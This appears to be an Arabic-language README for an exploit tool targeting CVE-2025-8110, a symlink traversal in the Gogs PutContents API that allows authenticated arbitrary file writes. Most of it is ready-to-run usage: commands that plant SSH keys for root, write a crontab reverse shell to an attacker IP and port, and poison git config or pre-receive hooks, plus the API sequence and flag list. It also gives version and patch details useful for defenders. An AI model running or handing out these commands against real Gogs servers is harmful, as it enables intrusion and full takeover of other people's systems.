
Gogs تجاوز الروابط الرمزية → RCE
CVE-2025-8110 هي ثغرة حرجة في Gogs (خدمة Git مستضافة ذاتيًا) بالإصدارات <= 0.13.3. تتحقق واجهة برمجة التطبيقات PutContents من مسارات الملفات بحثًا عن تجاوز الدليل (../) ولكنها لا تحلّ الروابط الرمزية قبل الكتابة. يمكن لمستخدم مصادق دفع commit يحتوي على رابط رمزي يستهدف أي ملف على الخادم، ثم استدعاء PutContents على ذلك الرابط الرمزي لاستبدال الملف الفعلي بمحتوى يتحكم فيه المهاجم.
هذا تجاوز لإصلاح CVE-2024-55947 السابق، والذي عالج فقط تجاوز المسار المباشر وليس التجاوز عبر الروابط الرمزية.
| التفصيل | القيمة |
|---|---|
| CVE | CVE-2025-8110 |
| المتأثر | Gogs <= 0.13.3 |
| الإصدار المُصحَّح | Gogs 0.13.4 |
| النوع | كتابة ملفات تعسفية بعد المصادقة → RCE |
| CVSS | 8.8 (عالية) |
| المكوّن | PutContents API (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)git CLIيدعم هذا الاستغلال 4 استراتيجيات RCE مدمجة بالإضافة إلى وضع كتابة ملفات عام:
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - تسجيل الدخول عبر رمز API (المصادقة الأساسية)POST /api/v1/user/repos مع auto_init: true(POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link مع محتوى مُرمّز بـ base64. يقوم Gogs بحلّ الرابط الرمزي على القرص والكتابة إلى الملف الفعلي (PUT /api/v1/repos/.../contents/linkn_ame)target Gogs base URL (e.g. http://target:3000)
Authentication:
-u, --user Gogs username
-p, --password Gogs password
RCE Strategies:
--rce-keys PUBKEY Plant SSH pubkey → /root/.ssh/authorized_keys
--rce-cron Reverse shell → /etc/crontab
--rce-ssh Poison .git/config sshCommand + trigger
--rce-hook Overwrite pre-receive hook + trigger
--write Generic arbitrary file write
Connection / Payload:
--lhost LHOST Attacker IP for reverse shell
--lport LPORT Attacker port for reverse shell
--target-file PATH Server path to overwrite (--write mode)
--content STRING Content to write
--content-file FILE Local file to write
Options:
--repo NAME Repository name (default: random)
--cleanup Delete exploit repo after completion
-o, --output FILE Report file (default: loot.json)
--timeout SECONDS Request timeout (default: 15)
--proxy URL HTTP proxy for debugging
--check-only Only check if target is Gogs, don't exploit
تم توفير هذه الأداة لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
| الاستراتيجية | العلامة | الملف المستهدف | المشغّل |
|---|
| أ — مفاتيح SSH | --rce-keys | /root/.ssh/authorized_keys | تسجيل دخول SSH |
| ب — Crontab | --rce-cron | /etc/crontab | تلقائي (خلال 60 ثانية) |
| ج — sshCommand | --rce-ssh | .git/config | عملية git عبر SSH |
| د — خطاف Git | --rce-hook | hooks/pre-receive | git push |
| عام | --write | أي مسار | يدوي |